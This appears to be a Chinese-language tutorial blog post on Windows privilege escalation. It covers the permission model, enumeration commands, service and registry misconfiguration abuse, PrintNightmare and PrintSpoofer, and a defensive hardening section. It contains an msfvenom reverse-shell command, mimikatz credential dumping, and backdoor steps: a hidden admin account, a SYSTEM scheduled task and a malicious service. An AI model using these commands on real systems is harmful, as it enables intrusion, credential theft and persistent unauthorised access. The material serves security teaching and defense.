1. 项目概述从零开始的Windows提权实战指南如果你刚接触网络安全听到“提权”这个词可能会觉得既神秘又有点“黑客范儿”。其实它远没有想象中那么遥不可及本质上就是在一个操作系统里想办法从一个低权限的账户升级到一个更高权限的账户。想象一下你在一家公司里最初只是一个访客Guest只能看看大厅然后你成了普通员工User可以进入自己的工位再然后你成了部门经理Administrator能管理自己部门的资源最终你成了拥有所有钥匙和权限的CEOSYSTEM。提权就是这个“职场晋升”的过程只不过发生在电脑系统里。我刚开始学安全的时候也觉得那些能拿到SYSTEM权限的操作酷炫极了。但真正上手才发现很多所谓的“秘籍”要么步骤残缺要么只讲操作不讲原理跟着做一遍还是云里雾里。所以我想写点不一样的东西这不是一个冷冰冰的命令列表而是一次完整的、有逻辑的“提权学习之旅”。我会带你从最基本的Windows权限模型开始一步步拆解那些常见的提权手法背后的“为什么”并手把手进行实战演示。无论你是完全零基础的爱好者还是想系统化查漏补缺的初学者都能跟着这篇文章建立起对Windows提权清晰、实用的认知。我们这次旅程的核心目标很明确在已经获得一个普通用户User权限的Windows系统上通过系统性的方法提升至管理员Administrator甚至系统SYSTEM权限。你会发现这背后是一套结合了系统知识、漏洞利用和实战技巧的完整方法论。2. Windows权限体系深度解析一切提权的基础在开始任何“晋升”操作之前你必须彻底了解你所在的“公司架构”——也就是Windows的权限体系。很多人一上来就找漏洞、运行EXP漏洞利用程序却连自己当前是什么身份、目标是什么身份都搞不清这无异于蒙眼狂奔。2.1 Windows核心权限等级详解Windows的权限不是铁板一块它像一座金字塔从下到上控制力逐级增强。我们日常接触最多的主要是以下四个等级Guest来宾这是最底层的权限。相当于公司的临时访客行动受到极大限制。通常只能运行最基本的应用程序对系统文件和设置几乎没有任何修改权甚至无法在大多数目录下创建文件。在实际的渗透测试中很少会直接停留在这个权限我们的起点通常是User。User标准用户这是绝大多数日常使用者和初始渗透点的权限。你可以把它理解为公司的普通员工。拥有自己的个人空间用户目录可以安装不需要管理员权限的软件运行大部分应用程序。但关键的系统区域如C:\Windows, C:\Program Files、注册表的敏感部分如HKEY_LOCAL_MACHINE你是无法修改的。很多提权操作其障碍就来自于User权限无法写入或执行特定位置的文件。Administrator管理员这是分水岭。拥有此权限意味着你几乎可以完全控制这台计算机。可以安装/卸载任何软件修改所有系统设置管理其他用户账户。在提权中拿到Administrator权限通常已经意味着“游戏结束”你可以为所欲为。需要注意的是Administrator账户本身也有区别例如是否启用了“管理员批准模式”UAC这会影响一些提权手法的生效方式。SYSTEM系统这是Windows系统中的“神”。它比Administrator权限更高是操作系统内核本身和某些核心服务运行的账户。SYSTEM账户可以访问任何资源无视几乎所有权限检查。很多服务、驱动都以SYSTEM权限运行。因此黑客的终极目标往往是获取SYSTEM权限因为这意味着最彻底的控制。正如资料中提到的一旦内核出现漏洞攻击者可能实现从任意低权限到SYSTEM的“一步到位”。注意除了这些用户级权限还有基于进程的“特权”Privileges如SeDebugPrivilege调试程序、SeBackupPrivilege备份文件等。一个User权限的进程如果被授予了某些高危特权也可能完成提权这是我们后面会探讨的一个重点。2.2 权限检查的核心机制ACL与令牌Token光知道等级还不够你得明白系统是如何执行权限控制的。这里有两个关键概念访问控制列表ACL你可以把它想象成每个文件、文件夹、注册表键甚至进程都自带的一份“访客名单”。这份名单详细规定了“谁”用户或组能对这个资源进行“何种操作”读、写、执行等。当你尝试打开一个文件时系统会检查你的身份是否在文件的ACL中以及是否拥有执行当前操作所需的权限。访问令牌Access Token这是你登录系统后系统发给你的一个“身份证件”。令牌里包含了你的用户身份SID、所属的组、以及拥有的特权列表。你启动的每一个进程都会继承或附带一份令牌的副本。进程的所有操作最终都由它附带的令牌所代表的权限来决定。提权的本质在很多情况下就是修改或替换当前进程的“令牌”。要么给自己当前令牌添加高权限的组如Administrators要么直接窃取一个高权限进程如以SYSTEM运行的服务的令牌来用。2.3 为什么提权是可能的——漏洞的根源一个设计良好的系统低权限用户应该永远无法获得高权限。提权之所以存在是因为系统在实现这个权限模型时出现了纰漏也就是漏洞。主要可以分为几类系统配置错误这是最常见也最容易利用的一类。不是系统代码有bug而是管理员或软件安装时的设置出了问题。例如服务权限配置不当一个以SYSTEM权限运行的服务其可执行文件的路径权限却允许普通用户进行修改或替换。那么用户就可以替换掉这个服务程序当下次服务重启时我们的恶意代码就以SYSTEM身份运行了。危险的文件/目录权限系统关键目录如C:\Windows\Temp C:\ProgramData被错误地赋予了过高的权限如Everyone完全控制导致低权限用户可以在其中放置可执行文件并可能通过其他方式如计划任务、服务调用诱使高权限进程执行它。不安全的注册表项类似于文件注册表键的权限设置不当可能允许用户修改服务配置、启动项等。内核漏洞Kernel Exploit这是最强大也最危险的一类。漏洞存在于操作系统内核kernel中。内核是系统的核心运行在最高权限Ring 0。如果内核代码存在缺陷攻击者可能通过精心构造的输入让内核执行非预期的操作从而直接将攻击者的权限提升至SYSTEM。这类漏洞通常影响范围广同一个系统版本都受影响但利用不稳定可能导致系统蓝屏崩溃。应用程序漏洞运行在较高权限下的应用程序如某些以Administrator权限运行的办公软件、系统工具存在漏洞如缓冲区溢出攻击者可以利用该漏洞在目标应用程序的上下文环境中执行代码从而继承该应用程序的高权限。理解了这些基础你就知道提权不是漫无目的地乱试而是有清晰的路径信息收集 - 识别配置错误或漏洞 - 利用漏洞修改令牌或执行代码 - 获取高权限。3. 提权实战前的关键一步全面信息收集在发动“进攻”前优秀的“侦察兵”会花80%的时间来收集情报。提权也是如此盲目运行提权脚本成功率低且易触发警报。系统性的信息收集能帮你快速定位最可能的突破口。3.1 系统与用户信息枚举首先你需要知道你身处一个怎样的环境。打开命令提示符cmd或PowerShell从以下命令开始systeminfo这是你的“系统体检报告”。重点关注OS 名称/版本确定具体的Windows版本如Windows 10 Pro 22H2这直接决定了哪些内核漏洞可能适用。系统类型是64位x64还是32位x86这影响你后续使用的漏洞利用程序Exploit的版本。补丁程序列出所有已安装的Windows更新KB编号。这是最关键的信息之一。你可以用这些KB编号去对比公开的漏洞库看看哪些已知漏洞未被修补。whoami /all这是你的“个人身份详单”。它会显示当前用户名、所属的组、以及最重要的——当前令牌所拥有的特权Privileges。例如如果你看到SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege被启用这通常意味着存在重要的提权机会例如经典的“土豆系列”提权。net user和net user [username]查看系统上有哪些用户以及指定用户的详细信息看看是否有隐藏的管理员账户或密码设置简单的账户。net localgroup administrators直接查看管理员组里有哪些成员明确你的目标。3.2 网络与服务信息探查系统内部的服务和网络配置往往是提权的温床。netstat -ano查看网络连接和监听端口。找出哪些服务在运行它们监听了哪些端口尤其是本地的高端口或回环地址127.0.0.1上的端口。一个本地运行的高权限服务如果存在漏洞就是极好的提权跳板。sc query和sc qc [服务名]查询系统所有服务并查看某个具体服务的详细配置。你要重点关注SERVICE_NAME服务名称。STATE是否正在运行BINARY_PATH_NAME服务对应的可执行程序路径在哪里这个路径的权限设置是否安全START_TYPE启动类型如自动、手动、禁用。tasklist /svc列出所有进程及其关联的服务。这能帮你把“服务”和“正在运行的进程”对应起来方便定位高权限进程。3.3 文件与目录权限审计寻找那些权限设置宽松的关键位置。使用icacls命令这是检查文件和目录权限的利器。例如icacls C:\Program Files\*查看Program Files目录下子项的权限通常需要管理员权限才能看到全部。icacls C:\Windows\Temp检查临时目录的权限。理想情况下低权限用户应只能读写自己的临时文件。重点检查目标寻找显示为(F)完全控制、(M)修改或(W)写入权限且授予了BUILTIN\Users所有用户或Everyone任何人的目录。检查可写目录使用命令dir /a /b c:\ 2nul或PowerShell脚本递归地寻找当前用户具有写入权限的目录特别是那些位于系统路径下的。3.4 计划任务与启动项系统或高权限用户设置的计划任务可能会以高权限执行特定程序。如果这些程序的位置或脚本内容可以被低权限用户修改就存在提权可能。schtasks /query /fo LIST /v以详细格式列出所有计划任务。查看运行用户身份和任务运行程序路径字段。检查启动文件夹C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp所有用户启动和C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup当前用户启动。虽然通常需要管理员权限才能修改所有用户的启动项但有时权限配置会出错。实操心得信息收集阶段我习惯将所有这些命令的输出重定向到文本文件然后慢慢分析。例如在PowerShell中systeminfo sysinfo.txt whoami /all whoami.txt netstat -ano netstat.txt。有条理的信息是成功的一半。另外可以使用一些自动化脚本如WinPEAS或PowerUp它们能快速扫描并高亮显示可能存在的配置问题极大提高效率。但在学习阶段我强烈建议你手动执行和理解每条命令这能帮你建立更深刻的直觉。4. 主流提权手法实战拆解与演示有了充分的信息我们就可以对症下药了。下面我们针对几种最常见的提权场景进行原理拆解和实战模拟。请注意所有演示均在授权的实验环境如自己搭建的虚拟机中进行请勿对非授权系统进行测试。4.1 利用系统配置错误提权这是最“经典”和“稳定”的提权方式不依赖未打补丁的漏洞只依赖于管理员疏忽的配置。场景一服务路径权限滥用原理一个以SYSTEM权限运行的Windows服务其可执行文件BINARY_PATH_NAME的路径指向C:\MyService\service.exe。然而管理员错误地将C:\MyService目录的权限设置为Everyone:(F)所有人完全控制。这意味着我们作为低权限用户可以删除或覆盖这个service.exe文件。实战步骤信息收集使用sc qc [可疑服务名]找到目标服务及其二进制路径。使用icacls “C:\MyService”确认该目录是否有写入权限。准备Payload使用msfvenomMetasploit框架生成一个反向Shell的恶意可执行文件。例如msfvenom -p windows/x64/shell_reverse_tcp LHOST你的攻击机IP LPORT4444 -f exe -o evil.exe替换文件将生成的evil.exe上传到目标机器可通过Web服务器下载并复制到C:\MyService目录重命名为service.exe覆盖原文件。可能需要先停止服务net stop [服务名]但有时停止服务需要权限。如果无法停止可以尝试直接覆盖等待服务重启或系统重启。触发执行如果服务正在运行等待管理员或系统重启该服务。如果服务是自动启动且当前未运行可以尝试重启系统。更主动的方法是如果服务控制管理器SCM的权限配置也有问题你甚至可能能直接重启它sc stop [服务名]sc start [服务名]。接收Shell在攻击机上使用Netcat或Metasploit的multi/handler模块监听4444端口。一旦服务以SYSTEM权限重启并执行了我们的evil.exe一个SYSTEM权限的反向Shell就会连接回来。注意事项这种手法成功的关键在于找到“高权限运行”和“路径可写”这两个条件同时满足的服务。自动化脚本如PowerUp的Invoke-AllChecks能快速列出此类有问题的服务。另外覆盖系统关键服务文件可能被安全软件拦截。场景二不安全的注册表项原理Windows服务除了通过路径指向可执行文件还可以通过注册表项ImagePath来定义。如果这个注册表键的权限设置不当允许低权限用户修改那么我们就可以修改ImagePath指向我们自己的恶意程序。实战步骤查找目标使用命令reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath 2nul可以列出所有服务的ImagePath。但更高效的是用PowerUp脚本的Get-ModifiableRegistryAutoRun函数它能直接找出当前用户可修改的、指向可执行文件的自动运行注册表项。检查权限假设找到一个服务VulnService其ImagePath在HKLM\SYSTEM\CurrentControlSet\Services\VulnService。使用regini或PowerShell检查该注册表键的权限确认是否有写入权限。修改注册表如果有权限可以直接修改ImagePathreg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d C:\Users\Public\evil.exe /f。触发执行重启服务或系统使新的ImagePath生效。恶意程序将以该服务的权限通常是SYSTEM运行。4.2 利用内核漏洞提权当信息收集显示系统版本较老且缺少关键补丁时可以尝试公开的内核漏洞EXP。这是“暴力”但有效的方法。通用流程匹配漏洞根据systeminfo输出的系统版本和补丁列表在漏洞库如Exploit-DB, GitHub中搜索对应的本地提权漏洞。例如对于Windows 10/11经典的漏洞有CVE-2021-1732影子漏洞、CVE-2021-34527PrintNightmare等。编译/获取EXP找到对应的漏洞利用代码通常是C/C编写。你需要根据目标系统架构x86/x64进行编译或者直接寻找作者编译好的可执行文件。上传并执行将EXP上传到目标机器的可写目录如C:\Windows\Temp。在命令行中运行它。获取高权限Shell成功的EXP通常会直接生成一个具有SYSTEM权限的命令行窗口如打开一个新的cmd.exe或者将当前Shell提升至SYSTEM。以PrintNightmare (CVE-2021-34527) 为例的简化演示 这是一个2021年爆出的严重漏洞存在于Windows打印后台处理程序服务中。即使打了部分补丁在特定配置下仍可能被利用。环境目标为未完全修补的Windows Server 2019。工具准备在攻击机Kali Linux上使用msfvenom生成一个恶意DLL动态链接库作为Payload。同时利用公开的Python脚本如CVE-2021-34527.py作为漏洞利用器。搭建恶意打印服务器利用脚本指定我们的攻击机IP和恶意DLL启动一个伪造的打印服务器。在目标机触发在目标机的低权限Shell中执行一个添加打印机端口的命令指向我们的恶意打印服务器。例如rundll32.exe printui.dll,PrintUIEntry /dl /n “\\攻击机IP\恶意打印机”。原理Windows打印服务spoolsv.exe以SYSTEM权限运行。当它尝试从我们控制的服务器下载打印机驱动程序时会加载我们准备好的恶意DLL从而以SYSTEM权限执行我们的代码。结果成功的话我们会收到一个SYSTEM权限的反向Shell。重要警告内核漏洞利用特别是自己编译的EXP具有很高风险可能导致目标系统蓝屏崩溃BSOD变得不稳定。在生产环境或重要目标上务必谨慎。务必先在完全相同的实验环境虚拟机快照中测试成功后再考虑其他场景。4.3 利用Access Token操纵提权土豆系列这是Windows提权中极具技巧性的一类方法不依赖文件或注册表写入而是直接“窃取”或“模仿”其他高权限进程的令牌Token。其核心在于利用Windows进程间通信IPC和身份模拟Impersonation机制中的逻辑缺陷。核心概念SeImpersonatePrivilege。这是一个强大的特权允许进程在获得另一个进程的令牌后“模仿”Impersonate该令牌的身份执行操作。许多Windows服务如IIS的应用池账户、SQL Server服务账户默认拥有此特权。如果你在渗透中获得了这样一个账户的Shell例如通过Web漏洞拿到了IIS的Web Shell那么你当前进程的令牌就可能启用了SeImpersonatePrivilege。经典手法Juicy Potato及其变种早期的“土豆”Potato系列提权如Hot Potato利用Windows身份验证协议中的弱点。而Juicy Potato及其后继者Rogue Potato, PrintSpoofer, Sweet Potato则利用了DCOM/RPC等更通用的机制。以PrintSpoofer (CVE-2021-1675/CVE-2021-34527旁路) 为例 这个工具利用了打印后台处理程序服务中的另一个缺陷即使在没有SeImpersonatePrivilege的情况下也可能实现提权但拥有该特权时更稳定。实战步骤确认特权在获得的Web Shell或低权限Shell中运行whoami /priv。确认是否启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。上传工具将PrintSpoofer.exe或类似工具上传到目标服务器。执行提权运行命令PrintSpoofer.exe -i -c cmd。-i交互式通常用于生成一个反向或绑定Shell。-c cmd指定要执行的命令这里是启动一个新的cmd.exe。原理简述工具会创建一个命名管道并诱使高权限的打印后台处理程序服务spoolsv.exe连接到这个管道。由于服务运行在SYSTEM权限下当它连接时工具就可以窃取或模仿其令牌然后利用这个SYSTEM令牌生成一个新的进程cmd.exe。结果如果成功你将获得一个具有SYSTEM权限的新命令行窗口。实操心得“土豆”类提权非常依赖环境。不同的Windows版本、补丁状态、服务配置都会影响成功率。Juicy Potato需要指定一个CLSIDCOM对象标识符你需要根据目标系统寻找可用的CLSID。而PrintSpoofer等新工具则简化了流程。这类手法的优雅之处在于它不需要你向磁盘写入任何恶意文件工具本身除外也不依赖未打补丁的内核漏洞仅仅利用了系统设计的逻辑问题因此绕过安全软件检测的可能性相对较高。5. 提权后的操作与权限维持成功提权到SYSTEM或Administrator并不是终点。作为一个安全研究者或渗透测试者你需要知道接下来该做什么以及如何保持你的访问权限在授权范围内。5.1 信息收割与横向移动准备拿到最高权限后第一件事是全面收割有价值的信息为可能的横向移动在内网中攻击其他机器做准备。转储密码哈希使用mimikatz工具是最经典的方法。以SYSTEM权限运行privilege::debug提升调试权限然后sekurlsa::logonpasswords可以抓取当前系统内存中所有登录用户的明文密码或NTLM哈希。这些哈希可用于“哈希传递”Pass-the-Hash攻击在内网中无需解密即可登录其他使用相同密码的机器。查看保存的凭据检查Windows凭据管理器cmdkey /list。运行vaultcmd /list和vaultcmd /listcreds:Windows Credentials /all。搜索敏感文件在全盘搜索包含“password”、“secret”、“config”、“backup”等关键词的文件。findstr /s /i password *.txt *.xml *.config *.ini。查看网络信息ipconfig /all,route print,arp -a了解内网拓扑。net view /domain查看域环境。提取浏览器数据使用LaZagne等工具尝试提取Chrome、Firefox等浏览器保存的密码、Cookie和历史记录。5.2 创建持久化后门为了在系统重启或登录状态变化后仍能保持访问需要植入后门。创建隐藏管理员账户net user backdooruser ComplexPass123! /add net localgroup administrators backdooruser /add # 可选隐藏该用户从登录界面显示修改注册表 reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v backdooruser /t REG_DWORD /d 0 /f计划任务后门创建一个每隔几分钟或开机时连接回攻击机的计划任务。schtasks /create /tn WindowsUpdateCheck /tr C:\Windows\Temp\shell.exe /sc minute /mo 5 /ru SYSTEM服务后门安装一个新的服务指向我们的恶意程序。sc create WinSvcUpdate binPath C:\Windows\Temp\svc.exe start auto sc start WinSvcUpdate注册表启动项在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下添加一个键值指向后门程序。WMI事件订阅一种更隐蔽的持久化方式可以配置在特定事件如用户登录、特定时间触发执行Payload。5.3 清理痕迹在授权测试中在授权的渗透测试结束后为了不影响目标系统正常运行需要进行清理。删除创建的文件删除上传的EXP、Payload、工具等。删除创建的用户和计划任务net user backdooruser /delete schtasks /delete /tn WindowsUpdateCheck /f停止并删除创建的服务sc stop WinSvcUpdate sc delete WinSvcUpdate恢复注册表修改将之前修改过的注册表项恢复原状。清除日志谨慎操作。可以使用wevtutil命令清除特定日志但过于彻底的清理行为本身可能触发警报。在合规测试中通常只需记录下自己的操作由日志分析工具事后标记而非直接删除。6. 防御视角如何让你的Windows系统更安全了解了攻击手法从防御者角度看加固系统就更有针对性了。以下是一些关键措施最小权限原则日常使用不使用Administrator账户登录。为标准用户账户设置强密码。对所有服务账户遵循“最小权限”原则只赋予其完成工作所必需的最低权限。避免使用SYSTEM或Administrator账户运行应用服务。及时更新与补丁管理开启自动更新确保操作系统和所有应用软件尤其是Office、浏览器、PDF阅读器、Java、Flash等及时安装安全补丁。内核漏洞提权几乎完全依赖于未修复的漏洞。严格的权限审计与配置定期使用微软官方工具如AccessChk或脚本审计系统关键目录C:\Windows\System32,C:\Program Files,C:\ProgramData和注册表键的权限确保没有为Everyone或Users组设置不必要的写权限。审查所有服务的BINARY_PATH_NAME和启动账户确保其路径权限安全。禁用不必要的服务减少攻击面。启用并配置安全功能用户账户控制UAC保持UAC在默认或更高级别。这能防止大多数自动提权操作在无用户知情的情况下进行。Windows Defender 应用程序控制WDAC或AppLocker实施应用程序白名单策略只允许经过批准的、签名的程序运行可以彻底阻断未知恶意程序包括提权EXP的执行。受控文件夹访问防止未经授权的程序修改受保护文件夹中的文件。网络分段与监控在内网中进行分段限制横向移动的能力。部署终端检测与响应EDR解决方案监控可疑的进程创建、令牌操作、服务安装、计划任务创建等行为。像mimikatz的活动、异常的schtasks或sc命令都是EDR重点监控的对象。安全意识培训防范社会工程学攻击和网络钓鱼避免初始入侵的发生。很多提权的前提是攻击者已经通过钓鱼邮件等方式获得了一个初始的User权限立足点。7. 学习路径与资源推荐Windows提权涉及知识面广需要持续学习。我根据自己的经验梳理了一条从入门到精进的学习路径第一阶段基础构建1-2个月操作系统基础深入理解Windows进程、服务、注册表、文件系统、访问控制模型用户、组、SID、ACL、令牌。推荐书籍《Windows Internals》第一部分。网络基础理解TCP/IP、防火墙、基本的网络命令。虚拟机环境搭建熟练使用VMware或VirtualBox搭建包含不同Windows版本Win7, Win10, Server 2012/2016/2019的靶机环境。学会使用快照功能。第二阶段工具与基础实践2-3个月Kali Linux与基础工具熟悉Metasploit (msfvenom,msfconsole)、Nmap、Netcat的基本用法。信息收集实战在靶机上反复练习手动信息收集命令并学习使用WinPEAS、PowerUp等自动化脚本理解其输出的每一项含义。简单漏洞复现在老旧、未打补丁的靶机如Windows 7 SP0上尝试复现经典的MS08-067永恒之蓝漏洞理解从渗透到提权的完整流程。第三阶段核心提权技术深入3-6个月系统学习提权手法按照本文的分类配置错误、内核漏洞、Token操纵逐个在靶场中实践。可以从VulnHub、HackTheBox上的简单Windows机器开始。深入研究“土豆”家族理解DCOM、RPC、命名管道、身份模拟等机制。在实验环境中调试Juicy Potato、PrintSpoofer等工具阅读其源代码如果开源理解其工作原理。学习PowerShellPowerShell是Windows环境下的强大武器。学习编写简单的PowerShell脚本用于信息收集、文件操作和利用。第四阶段综合实战与内网渗透持续参与在线靶场在HackTheBox、TryHackMe、PentesterLab等平台上挑战难度递增的Windows靶机。这些靶机通常模拟了真实环境中的多种漏洞组合。学习内网渗透提权往往是内网渗透的“敲门砖”。学习横向移动技术如哈希传递、票据传递、WMI/SMB/WinRM利用、域环境基础Active Directory和域内提权如Kerberoasting、AS-REP Roasting。关注最新动态关注安全社区如Twitter上的安全研究员、Exploit-DB、安全公司博客了解最新的Windows漏洞和提权技术。推荐资源书籍《The Hacker Playbook 3》、《Red Team Field Manual》、《Windows Privilege Escalation for Beginners》电子书。在线课程PentesterAcademy的Windows安全课程、SANS的SEC560课程。博客与社区pentest.blog、ired.team、www.hackingarticles.in有大量优质的提权实战文章。工具集合github.com/carlospolop/PEASS-ng(WinPEAS/LinPEAS),github.com/PowerShellMafia/PowerSploit(包含PowerUp)。这条路没有捷径每一个看似简单的whoami从user变成nt authority\system的背后都需要对系统原理的深刻理解和对细节的耐心探查。我最初也是从一个命令都看不懂到慢慢能独立分析靶机、编写简单的检测脚本。最大的体会是不要只做工具的搬运工要去做原理的挖掘者。每次成功提权后多问几个“为什么它能成功”、“这个配置在正常环境下应该是怎样的”你的能力才会真正扎根。现在就从搭建你的第一个Windows靶机开始吧。